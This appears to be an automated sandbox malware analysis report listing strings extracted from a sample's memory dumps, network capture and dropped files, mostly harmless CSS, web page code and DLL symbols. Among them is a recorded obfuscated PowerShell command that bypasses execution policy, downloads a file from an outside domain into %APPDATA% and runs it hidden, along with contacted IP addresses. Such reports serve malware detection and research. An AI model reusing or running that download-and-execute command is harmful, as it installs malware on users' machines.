#fff;border-right: 1px solid #fff;border-left: 1px solid #fff;background: #E2E4CD;}#nav li li a, #nav li li a:visited {font-weight:normal;color:#FFF;}#nav li li a:hover, #nav li li a:active {background-color: #0033FF;}#nav li:hover ul, #nav li li:hover ul, #nav li li li:hover ul, #nav li.sfhover ul, #nav li li.sfhover ul, #nav li li li.sfhover ul {left: auto;}a.main:hover {background:none;}/************************************************ CATEGORIES NAVBAR ************************************************/#catnav {margin-top:0px; font-size:1em;padding-top:8px; padding-left:100px;color: #000;}#catnav, #catnav ul {list-style: none;line-height: 18px;}#catnav a, #catnav a:hover {display: block;text-decoration: none;background-repeat:no-repeat;background-position:right;color: #000 ;line-height:5px;margin-top:9px;font-style:normal;}#catnavli.last a {}#catnav li {float: left;list-style:none;}#catnav ul a, #catnav

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00409000.00000004.mdmp)

#nav a, #nav a:hover {

Ansi based on Dropped File (nav.css)

#nav a, #nav a:visited {

Ansi based on Dropped File (nav.css)

#nav a:hover, #nav a:active {

Ansi based on Dropped File (nav.css)

#nav li li a, #nav li li a:visited {

Ansi based on Dropped File (nav.css)

#nav li li a:hover, #nav li li a:active {

Ansi based on Dropped File (nav.css)

#nav li li {

Ansi based on Dropped File (nav.css)

#nav li ul ul {/*second level dropdown*/

Ansi based on Dropped File (nav.css)

#nav li ul {/*first level dropdown*/

Ansi based on Dropped File (nav.css)

#nav li {

Ansi based on Dropped File (nav.css)

#nav li.first

Ansi based on Dropped File (nav.css)

#nav li.last

Ansi based on Dropped File (nav.css)

#nav li:hover ul ul, #nav li.sfhover ul ul {

Ansi based on Dropped File (nav.css)

#nav li:hover ul, #nav li li:hover ul, #nav li li li:hover ul, #nav li.sfhover ul, #nav li li.sfhover ul, #nav li li li.sfhover ul {left: auto;}

Ansi based on Dropped File (nav.css)

#nav {

Ansi based on Dropped File (nav.css)

#nav, #nav ul {

Ansi based on Dropped File (nav.css)

#wp_nav_menu .menu-header li,

Ansi based on Dropped File (nav.css)

#wp_nav_menu .menu-header ul,

Ansi based on Dropped File (nav.css)

#wp_nav_menu .menu-header,

Ansi based on Dropped File (nav.css)

#wp_nav_menu a {

Ansi based on Dropped File (nav.css)

#wp_nav_menu li:hover > a {

Ansi based on Dropped File (nav.css)

#wp_nav_menu ul li li {

Ansi based on Dropped File (nav.css)

#wp_nav_menu ul li {

Ansi based on Dropped File (nav.css)

#wp_nav_menu ul li:hover > ul {

Ansi based on Dropped File (nav.css)

#wp_nav_menu ul ul :hover > a {

Ansi based on Dropped File (nav.css)

#wp_nav_menu ul ul a {

Ansi based on Dropped File (nav.css)

#wp_nav_menu ul ul ul {

Ansi based on Dropped File (nav.css)

#wp_nav_menu ul ul {

Ansi based on Dropped File (nav.css)

#wp_nav_menu {

Ansi based on Dropped File (nav.css)

$( "button#filter_submit" ).click();

Ansi based on Dropped File (home-&-garden)

$( "button#filter_submit" ).on('click', function(item) {

Ansi based on Dropped File (home-&-garden)

$( data ).appendTo( "#domain_list_body" );

Ansi based on Dropped File (home-&-garden)

$( document ).ready(function() {

Ansi based on Dropped File (home-&-garden)

$("#domain_list_body").empty();

Ansi based on Dropped File (home-&-garden)

$('button#filter_submit').click();

Ansi based on Dropped File (home-&-garden)

$.get( 'http://www.nameboat.com/ajax/market_themes/domain_overview_tiles/filters/'+form_values_for_url+'/user_id/1293/offset/init/keyword//', function( data ) {

Ansi based on Dropped File (home-&-garden)

$Function

Unicode based on Runtime Data (wscript.exe )

%d.%d

Ansi based on Hybrid Analysis (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

%ls=%ls

Ansi based on Hybrid Analysis (eXe , 00020376-00002708.00000000.20876.00401000.00000020.mdmp)

%s%s.DLL

Ansi based on Hybrid Analysis (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

%s=%s

Ansi based on Hybrid Analysis (helper.exe , 00037821-00000600.00000000.38323.00401000.00000020.mdmp)

%s\%s

Unicode based on Hybrid Analysis (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

%s\%s\%s.mui

Unicode based on Hybrid Analysis (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

%u.%u%s%s

Unicode based on Hybrid Analysis (eXe , 00020376-00002708.00000000.20876.00401000.00000020.mdmp)

%windir%\tracing

Unicode based on Runtime Data (eXe )

&'./)*+

Ansi based on Dropped File (gmpopenh264.dll.97104820)

&NoTaskWW

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.0048A000.00000002.mdmp)

'max': 16},

Ansi based on Dropped File (home-&-garden)

'max': 1888.00},

Ansi based on Dropped File (home-&-garden)

'max': 21},

Ansi based on Dropped File (home-&-garden)

'min': 0.00,

Ansi based on Dropped File (home-&-garden)

'min': 1,

Ansi based on Dropped File (home-&-garden)

'min': 4,

Ansi based on Dropped File (home-&-garden)

'Pathname

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.0048A000.00000002.mdmp)

(267) 231-6540</li>

Ansi based on Dropped File (home-&-garden)

(EEEH

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.0043D000.00000002.mdmp)

(function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){

Ansi based on Dropped File (home-&-garden)

(i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),

Ansi based on Dropped File (home-&-garden)

(null)

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

(xL

Unicode based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.0043D000.00000002.mdmp)

* CATEGORIES NAVBAR

Ansi based on Dropped File (nav.css)

* PAGES NAVBAR

Ansi based on Dropped File (nav.css)

* STYLES FOR THE HORIZONTAL NAVIGATION MENUES

Ansi based on Dropped File (nav.css)

* NEW WORDPRESS 3 CUSTOM MENUE STYLES

Ansi based on Dropped File (nav.css)

************************************************/

Ansi based on Dropped File (nav.css)

*?|<>/":

Unicode based on Hybrid Analysis (eXe , 00020376-00002708.00000000.20876.00401000.00000020.mdmp)

*ShowUsageWWW

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.0048A000.00000002.mdmp)

,/,,//

Unicode based on Dropped File (gmpopenh264.dll.97104820)

- . /!0!1!2"3"4#5#6#7$8$9$:%;%<%=&>&>??CyrixInstead

Ansi based on Dropped File (gmpopenh264.dll.97104820)

- Attempt to use MSIL code from this assembly during native code initializationThis indicates a bug in your application. It is most likely the result of calling an MSIL-compiled (/clr) function from a native constructor or from DllMain.

Unicode based on Dropped File (gmpopenh264.dll.97104820)

- floating point support not loaded

Unicode based on Dropped File (gmpopenh264.dll.97104820)

-40664

Unicode based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00424000.00000004.mdmp)

-Cans-CA

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

-Cyrl

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

-Cyrl-RS

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

-ES_tradnl

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

-Latn

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

-Latn-AZ

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

-moz-box-shadow: 1px 1px 3px #c5c5c5;

Ansi based on Dropped File (nav.css)

-osint -url "%USERPROFILE%\Desktop\_HOWDO_text.html"

Ansi based on Process Commandline (firefox.exe)

-webkit-box-shadow: 1px 1px 3px #c5c5c5;

Ansi based on Dropped File (nav.css)

. %d%%

Unicode based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00409000.00000004.mdmp)

.%u%s%s

Unicode based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00409000.00000004.mdmp)

... %d%%

Unicode based on Hybrid Analysis (eXe , 00020376-00002708.00000000.20876.00401000.00000020.mdmp)

... Bootstrap -->

Ansi based on Dropped File (home-&-garden)

... Custom + Common Css -->

Ansi based on Dropped File (home-&-garden)

... EFTY MARKET THEME BORGEN -->

Ansi based on Dropped File (home-&-garden)

... Font-Awesome -->

Ansi based on Dropped File (home-&-garden)

... Header Collapsed -->

Ansi based on Dropped File (home-&-garden)

... Header Section Started -->

Ansi based on Dropped File (home-&-garden)

... jQuery -->

Ansi based on Dropped File (home-&-garden)

... No UI slider -->

Ansi based on Dropped File (home-&-garden)

... wNumb number formatting -->

Ansi based on Dropped File (home-&-garden)

...[if lt IE 9]>

Ansi based on Dropped File (home-&-garden)

.8.7600.16385

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.0048A000.00000002.mdmp)

.=SunMonTueWedThuFriSat

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AUctype_base@std@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AV?$_Iosb@H@std@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AV?$basic_filebuf@DU?$char_traits@D@std@@@std@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AV?$basic_ios@DU?$char_traits@D@std@@@std@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AV?$basic_ostream@DU?$char_traits@D@std@@@std@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AV?$basic_streambuf@DU?$char_traits@D@std@@@std@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AV?$codecvt@DDH@std@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AV?$CSceneChangeDetection@VCSceneChangeDetectorScreen@WelsVP@@@WelsVP@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AV?$CSceneChangeDetection@VCSceneChangeDetectorVideo@WelsVP@@@WelsVP@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AV?$ctype@D@std@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AV?$gmp_args_m_1@PAVOpenH264VideoEncoder@@P81@AEXPAVGMPVideoi420Frame@@@ZPAV2@@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AV?$gmp_args_m_2@PAVOpenH264VideoEncoder@@P81@AEXPAVGMPVideoi420Frame@@W4GMPVideoFrameType@@@ZPAV2@W43@@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AV?$gmp_args_m_3@PAVOpenH264VideoEncoder@@P81@AEXPAVGMPVideoi420Frame@@PAUSFrameBSInfo@@W4GMPVideoFrameType@@@ZPAV2@PAU3@W44@@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AV?$gmp_args_m_4@PAVOpenH264VideoDecoder@@P81@AEXPAVGMPVideoEncodedFrame@@_NAAW4DECODING_STATE@@_J@ZPAV2@_NW43@_J@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AV?$gmp_args_m_5@PAVOpenH264VideoDecoder@@P81@AEXPAVGMPVideoEncodedFrame@@PAUTagBufferInfo@@QAPAE_J_N@ZPAV2@PAU3@PAPAE_J_N@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AV?$num_put@DV?$ostreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AV?$numpunct@D@std@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AV_Generic_error_category@std@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AV_Iostream_error_category@std@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AV_Locimp@locale@std@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AV_System_error_category@std@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AVbad_alloc@std@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AVbad_cast@std@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AVbad_exception@std@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AVCAdaptiveQuantization@WelsVP@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AVCBackgroundDetection@WelsVP@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AVCComplexityAnalysis@WelsVP@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AVCComplexityAnalysisScreen@WelsVP@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AVCDenoiser@WelsVP@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AVCDownsampling@WelsVP@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AVCImageRotating@WelsVP@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AVCMemoryAlign@WelsEnc@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AVcodecvt_base@std@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AVCSceneChangeDetectorScreen@WelsVP@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AVCSceneChangeDetectorVideo@WelsVP@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AVCScrollDetection@WelsVP@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AVCVAACalculation@WelsVP@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AVCVpFrameWork@WelsVP@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AVCWelsDecoder@WelsDec@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AVCWelsH264SVCEncoder@WelsEnc@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AVCWelsPreProcess@WelsEnc@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AVerror_category@std@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AVexception@std@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AVfacet@locale@std@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AVfailure@ios_base@std@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AVgmp_args_base@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AVGMPTask@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AVGMPVideoDecoder@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AVGMPVideoEncoder@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AVios_base@std@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AVIStrategy@WelsVP@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AVISVCDecoder@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AVISVCEncoder@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AVIWelsVP@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AVlength_error@std@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AVlogic_error@std@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AVOpenH264VideoDecoder@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AVOpenH264VideoEncoder@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AVout_of_range@std@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AVruntime_error@std@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AVsystem_error@std@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AVtype_info@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.\%s.mui

Unicode based on Hybrid Analysis (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

.\%s\%s.mui

Unicode based on Hybrid Analysis (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

.btn_search {

Ansi based on Dropped File (home-&-garden)

.buy-btn-list {

Ansi based on Dropped File (home-&-garden)

.current-menu-item {background: #fff; padding: 5px 0;}

Ansi based on Dropped File (nav.css)

.current_page_itema, .home .on {font-weight:bold;}

Ansi based on Dropped File (nav.css)

.DEFAULT\Control Panel\International

Unicode based on Hybrid Analysis (eXe , 00020376-00002708.00000000.20876.00401000.00000020.mdmp)

.my-btn {

Ansi based on Dropped File (home-&-garden)

.ObjectWW

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.0048A000.00000002.mdmp)

.reloc

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00409000.00000004.mdmp)

.rodata

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.table-responsive {

Ansi based on Dropped File (home-&-garden)

.text

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00409000.00000004.mdmp)

.to/5

Ansi based on Image Processing (screen_4.png)

/* Overrule CSS with custom colors from Efty user */

Ansi based on Dropped File (home-&-garden)

/** * Title: Elements css * * Description: Define style for elements * * Please do not edit this file. This file is part of the Cyber Chimps Framework and all modifications * should be made in a child theme. * * @category Cyber Chimps Framework * @pac

Ansi based on Runtime Data (eXe )

/*** Dropdown Menus for categories ***/

Ansi based on Dropped File (nav.css)

/*** Dropdown Menus for child pages ***/

Ansi based on Dropped File (nav.css)

/***********************************************

Ansi based on Dropped File (nav.css)

Ansi based on Runtime Data (eXe )

/************************************************ STYLES FOR THE HORIZONTAL NAVIGATION MENUES This file contains the CSS for the horizontal navigation bars. One for the page navigation,one for the category navigation and one for the custom navigation menue that was introducedin Wordpress version 3.0.************************************************//************************************************ PAGES NAVBAR ************************************************/#nav {font-size:11px;font-weight:bold;font-family:Arial, Helvetica, sans-serif !important;border-top:1px solid #cacbcb;}#nav, #nav ul {list-style:none;line-height:18px;position:relative;float:left;z-index:1000;width:980px;height:35px;margin-top:132px;}#nav a, #nav a:hover {display: block;text-decoration: none;border:none;font-size:13px !important;font-family:Arial, Helvetica, sans-serif !important;}#nav li {float: left;list-style:none;height:34px;/*border-right:1px solid #010101;*/border-left:1px solid #cacbcb;color:#cacbcb;}#nav li.first{ margin-left:100px;}#nav li.last{ border-right:1px solid #cacbcb;}#nav a, #nav a:visited {display:block;color: #cacbcb;padding:6px 8px;height:22px;}#nav a:hover, #nav a:active {text-decoration:none; color:#ed1c24;}.current_page_itema, .home .on {font-weight:bold;}/*** Dropdown Menus for child pages ***/#nav li ul {/*first level dropdown*/position: absolute;z-index: 10;left: -999em;height: auto;width: 174px;border-bottom: 1px solid #666;}#nav li ul ul {/*second level dropdown*/margin: -2em 0 0 172px;}#nav li:hover ul ul, #nav li.sfhover ul ul {left: -999em;}#nav li li {width: 172px;border-top: 1px solid #fff;border-right: 1px solid #fff;border-left: 1px solid #fff;background: #E2E4CD;}#nav li li a, #nav li li a:visited {font-weight:normal;color:#FFF;}#nav li li a:hover, #nav li li a:active {background-color: #0033FF;}#nav li:hover ul, #nav li li:hover ul, #nav li li li:hover ul, #nav li.sfhover ul, #nav li li.sfhover ul, #nav li li li.sfhover ul {left: auto;}a.main:hover {background:none;}/************************************************ CATEGORIES NAVBAR ************************************************/#catnav {margin-top:0px; font-size:1em;padding-top:8px; padding-left:100px;color: #000;}#catnav, #catnav ul {list-style: none;line-height: 18px;}#catnav a, #catnav a:hover {display: block;text-decoration: none;background-repeat:no-repeat;background-position:right;color: #000 ;line-height:5px;margin-top:9px;font-style:normal;}#catnavli.last a {}#catnav li {float: left;list-style:none;}#catnav ul a, #catnav ul a:hover {background:none;}#catnav a, #catnav a:visited {display:block; padding:6px 12px;}#catnav a:hover {color:#fff !important;text-decoration:none;}#catnav a:active {color:#fff;text-decoration:none;}#catnav .current-cat {background:#fff;}/*** Dropdown Menus for categories ***/#catnav li ul {/*first level dropdown*/position: absolute;z-index: 10;left: -999em;height: auto;width: 174px;border-bottom:1px solid #fff;padding-top:9px;display:block;}#catnav li ul ul {/*second level dropdown*/margin: -2em 0 0 172px;}#catnav li:hover ul ul, #catnav li.sfhover ul ul {left: -999em;}#catnav li li {width: 172px;/*border-top: 1px solid #cacbcb;*/border-right: 1px solid #cacbcb;border-left: 1px solid #cacbcb;background: #fff;z-index:99999;}#catnav li li a, #catnav li li a:visited {font-weight:normal;color:#000;font-size:13px;}#catnav li li:last-child a, #catnav li li:last-child a:visited {font-weight:normal;color:#000;font-size:13px;padding-bottom:15px;}#catnav li li a:hover, #catnav li li a:active {color:#ed1c24 !important;font-size:13px;}#catnav li:hover ul, #catnav li li:hover ul, #catnav li li li:hover ul, #catnav li.sfhover ul, #catnav li li.sfhover ul, #catnav li li li.sfhover ul {left: auto;}/************************************************ NEW WORDPRESS 3 CUSTOM MENUE STYLES************************************************/#wp_nav_menu {background: #333;margin: 0 auto;width: 940px;display:block;float:left;box-shadow: 1px 1px 3px #c5c5c5;-moz-box-shadow: 1px 1px 3px #c5c5c5;-webkit-box-shadow: 1px 1px 3px #c5c5c5;}#wp_nav_menu .menu-header,div.menu {margin-left: 0px;}#wp_nav_menu .menu-header ul,div.menu ul {list-style: none;margin: 0;}#wp_nav_menu .menu-header li,div.menu li {float:left;position: relative;}#wp_nav_menu a {display:block;text-decoration:none;color:#fff;padding:0 10px;line-height:28px;}#wp_nav_menu ul li {border-right: 1px solid #fff;}#wp_nav_menu ul li li {height:28px;border-top: 1px solid #fff;border-right: 1px solid #fff;border-left: 1px solid #fff;}#wp_nav_menu ul ul {display:none;position:absolute;top:28px;left:0;float:left;box-shadow: 1px 1px 3px #c5c5c5;z-index: 99999;}#wp_nav_menu ul ul ul {left:100%;top:0;}#wp_nav_menu ul ul a {background:#666;height:auto;line-height:1em;padding:10px;width: 150px;}#wp_nav_menu li:hover > a {color:#fff;background:#666;}#wp_nav_menu ul ul :hover > a {color:#fff;background:#880000;}#wp_nav_menu ul li:hover > ul {display:block;}.current-menu-item {background: #fff; padding: 5px 0;}

Ansi based on Dropped File (nav.css)

/*border-right:1px solid #010101;*/

Ansi based on Dropped File (nav.css)

/*border-top: 1px solid #cacbcb;*/

Ansi based on Dropped File (nav.css)

// Convert js object towards URL paramater

Ansi based on Dropped File (home-&-garden)

// Displaying the values

Ansi based on Dropped File (home-&-garden)

// Initialize slider

Ansi based on Dropped File (home-&-garden)

// Initiate first

Ansi based on Dropped File (home-&-garden)

// OLD STYLE PAGING

Ansi based on Dropped File (home-&-garden)

// Process filter submit

Ansi based on Dropped File (home-&-garden)

// Process search / refining

Ansi based on Dropped File (home-&-garden)

//en.

Ansi based on Image Processing (screen_4.png)

//Odf.ajax.get('http://www.nameboat.com/ajax/market_themes/domain_overview_tiles/filters/'+form_values_for_url+'/user_id/1293/offset/10/keyword//', '#domain_list_body', { });

Ansi based on Dropped File (home-&-garden)

/5DyGwgJJx_p

Ansi based on Image Processing (screen_4.png)

/> <br /> <br /> <p></p> ... --> </div> <div id="itisnecessarytocontinuall" class="itisnecessarytocontinuall text_link"> <div class="backupLddBulletList"> <ul class="lddBulletList"> <li> ... --> <p sty

Ansi based on Runtime Data (eXe )

/A/pd0Fblr_e__R_eader

Ansi based on Image Processing (screen_4.png)

/apache_handler.php

Ansi based on PCAP Processing (PCAP)

/C del /Q /F "%TEMP%\sysE5A3.tmp"

Ansi based on Process Commandline (cmd.exe)

/c p^oWer^sh^eLL.e^Xe ^-^eXecUtiOnPoLi^cY Byp^a^ss^ -^nO^PROFil^e^ -w^iNdOw^sty^Le^ hidd^en^ (New^-oBJect S^Ys^te^m^.^Net^.W^e^Bcl^I^ent).dO^w^nlOadfile(^'http://www.injusticeil.top/user.php?f=2.dat',^'%APPDATA%\eXe');st^art^-p^R^Oc^eSs^ %APPDATA%\eXe

Ansi based on Process Commandline (cmd.exe)

/IWSHUnnamedArgumentsd

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.0048A000.00000002.mdmp)

/openh264-win32-v1.3.zip

Ansi based on PCAP Processing (PCAP)

/SetAsDefaultAppUser

Ansi based on Process Commandline (helper.exe)

/user.php?f=2.dat

Ansi based on PCAP Processing (PCAP)

0, i 0) i .r1

Unicode based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00409000.00000004.mdmp)

00000409

Unicode based on Runtime Data (wscript.exe )

00926

Unicode based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00424000.00000004.mdmp)

0=?9__,__?_,

Ansi based on Image Processing (screen_0.png)

0IRunningW

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.0048A000.00000002.mdmp)

0m3?{,

Ansi based on Runtime Data (eXe )

0x%8X

Unicode based on Hybrid Analysis (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

0x80, i 0) i .r1

Unicode based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00424000.00000004.mdmp)

1#IND

Ansi based on Dropped File (gmpopenh264.dll.97104820)

1#INF

Ansi based on Dropped File (gmpopenh264.dll.97104820)

1#QNAN

Ansi based on Dropped File (gmpopenh264.dll.97104820)

1#SNAN

Ansi based on Dropped File (gmpopenh264.dll.97104820)

1493172224

Unicode based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00424000.00000004.mdmp)

16385

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.0048A000.00000002.mdmp)

185.102.136.77

Ansi based on PCAP Processing (PCAP)

1993709307

Unicode based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00424000.00000004.mdmp)

1993722492

Unicode based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00424000.00000004.mdmp)

1993722966

Unicode based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00424000.00000004.mdmp)

1993748406

Unicode based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00424000.00000004.mdmp)

1d32e96+M

Ansi based on Dropped File (gmpopenh264.dll.97104820)

308046B0AF4A39CB

Unicode based on Runtime Data (helper.exe )

4143121

Unicode based on Hybrid Analysis (eXe , 00020376-00002708.00000000.20876.00401000.00000020.mdmp)

4[out_VersionW

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.0048A000.00000002.mdmp)

5DYGW9JJXIPQSEFB

Ansi based on Image Processing (screen_4.png)

5out_Dispatch

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.0048A000.00000002.mdmp)

5pbstrDescWWWd

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.0048A000.00000002.mdmp)

5s3R6=

Ansi based on Dropped File (gmpopenh264.dll.97104820)

7Uout_ScriptNameWW

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.0048A000.00000002.mdmp)

7wnload

Ansi based on Image Processing (screen_4.png)

8Finishedd

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.0048A000.00000002.mdmp)

91.200.14.124

Ansi based on PCAP Processing (PCAP)

9_g_0_,__0_

Ansi based on Image Processing (screen_2.png)

; BR =

Ansi based on Dropped File (gmpopenh264.dll.97104820)

; Layer =

Ansi based on Dropped File (gmpopenh264.dll.97104820)

; Max payload size:

Ansi based on Dropped File (gmpopenh264.dll.97104820)

; Max:

Ansi based on Dropped File (gmpopenh264.dll.97104820)

; Min:

Ansi based on Dropped File (gmpopenh264.dll.97104820)

<![endif]-->

Ansi based on Dropped File (home-&-garden)

<!doctype html>

Ansi based on Dropped File (home-&-garden)

<!DOCTYPE html><html><head>... Google Analytics --><script type="text/javascript">var _gaq = _gaq || [];_gaq.push(['_setAccount', 'UA-35741163-1']);_gaq.push(['_trackPageview']);(function () {var ga = document.createElemen

Ansi based on Runtime Data (eXe )

<!doctype html><html><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1"><meta name="description" content="Welcome to NameBoat"><base href="http://www.nameboat.com"><link rel="icon" href="/market/img/favicon.ico"> ... Link For Title Favicon Image --><title>Welcome to NameBoat | www.nameboat.com</title>... jQuery --><script src="/market/js/jquery.js"></script>... Bootstrap --><script src="/market/js/bootstrap.js"></script><link rel="stylesheet" type="text/css" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/css/bootstrap.min.css">... Font-Awesome --><link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/font-awesome/4.4.0/css/font-awesome.min.css">... No UI slider --><link href="/market/css/nouislider.min.css" rel="stylesheet"><script src="/market/js/nouislider.min.js"></script>... wNumb number formatting --><script src="/market/js/wNumb.js"></script>... Custom + Common Css --><link rel="stylesheet" type="text/css" href="/market/css/page_specific/efty_market_themes/borgen/style.css"><link href='https://fonts.googleapis.com/css?family=Lato:400,700,900,100,300' rel='stylesheet' type='text/css'>...[if lt IE 9]> <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script> <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script> <![endif]--><script> (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){ (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o), m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m) })(window,document,'script','//www.google-analytics.com/analytics.js','ga'); ga('create', 'UA-51651642-1', 'auto'); ga('send', 'pageview');</script><script src="http://www.efty.com/market/odf/js/odf.js"></script><script>Odf.set('website_base_url', 'http://www.efty.com/market/');$(document).ready(function() {Odf.init();});</script> </head>... EFTY MARKET THEME BORGEN --><body><style>/* Overrule CSS with custom colors from Efty user */.btn_search {background: #3c5af6;border-color: #3c5af6;color: #ffffff;}.my-btn {border-color: #3c5af6;}.buy-btn-list {background: #3c5af6;color: #ffffff;}@media screen and 